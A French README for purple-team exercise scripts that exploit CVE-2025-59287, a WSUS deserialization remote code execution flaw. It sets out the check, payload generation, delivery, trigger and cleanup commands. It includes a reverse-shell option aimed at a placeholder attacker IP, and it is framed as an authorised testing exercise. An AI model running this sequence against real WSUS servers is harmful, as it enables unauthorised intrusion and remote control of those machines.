
Exercices d’équipe violette démontrant CVE-2025-59287, une RCE non authentifiée dans WSUS via l’injection de payloads de désérialisation malveillants dans la base de données WSUS.
Scripts d'exercices Purple team pour CVE-2025-59287, une vulnérabilité d'exécution de code à distance non authentifiée dans Windows Server Update Services (WSUS).
Utilisation autorisée uniquement. Pour utilisation dans des environnements d'exercice contrôlés contre des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de test.
La vulnérabilité abuse des points de terminaison SOAP WSUS accessibles anonymement pour injecter une charge utile de désérialisation malveillante dans la base de données WSUS. La charge utile s'exécute lorsque la console d'administration WSUS est ouverte ou qu'une synchronisation est déclenchée.
8530ysoserial\Release\ (voir Configuration)wsus-cve-2025-59287/
├── 1-check.ps1 # Verify target is vulnerable
├── 2-generate.ps1 # Generate serialized payload blob
├── 3-deliver.ps1 # Deliver payload to WSUS server
├── 4-verify.ps1 # Verify execution and clean up
├── ysoserial/ # Place ysoserial.net release here (not committed)
│ └── Release/
│ └── ysoserial.exe
└── README.md
Clonez ou téléchargez le dépôt. Ajoutez ysoserial.net pour que le chemin corresponde à ysoserial\Release\ysoserial.exe.
Téléchargez ysoserial.net depuis : https://github.com/pwntester/ysoserial.net/releases/tag/v1.36 Cela déclenchera Windows Defender par défaut
Exécutez tous les scripts depuis la racine du dépôt.
.\1-check.ps1 -TargetURL "http://<wsus-ip>:8530"
Dépôt de fichier (aucun listener requis, recommandé en premier) :
.\2-generate.ps1 -Mode filedrop
Shell inverse :
.\2-generate.ps1 -Mode shell -LHost <attacker-ip> -LPort 4444
.\3-deliver.ps1 -TargetURL "http://<wsus-ip>:8530"
Sur le serveur WSUS, ouvrez la console d'administration via Démarrer > Windows Server Update Services, ou déclenchez une synchronisation via PowerShell :
$wsus = [Microsoft.UpdateServices.Administration.AdminProxy]::GetUpdateServer('localhost', $false, 8530)
$wsus.GetSubscription().StartSynchronization()
Vérifier l'exécution :
.\4-verify.ps1
Vérifier et nettoyer tous les artefacts :
.\4-verify.ps1 -Cleanup
Depuis la machine d'attaque via le partage admin :
.\4-verify.ps1 -WsusIP <wsus-ip> -Cleanup
Après le nettoyage, supprimez le poste d'exercice de la console WSUS sous Computers.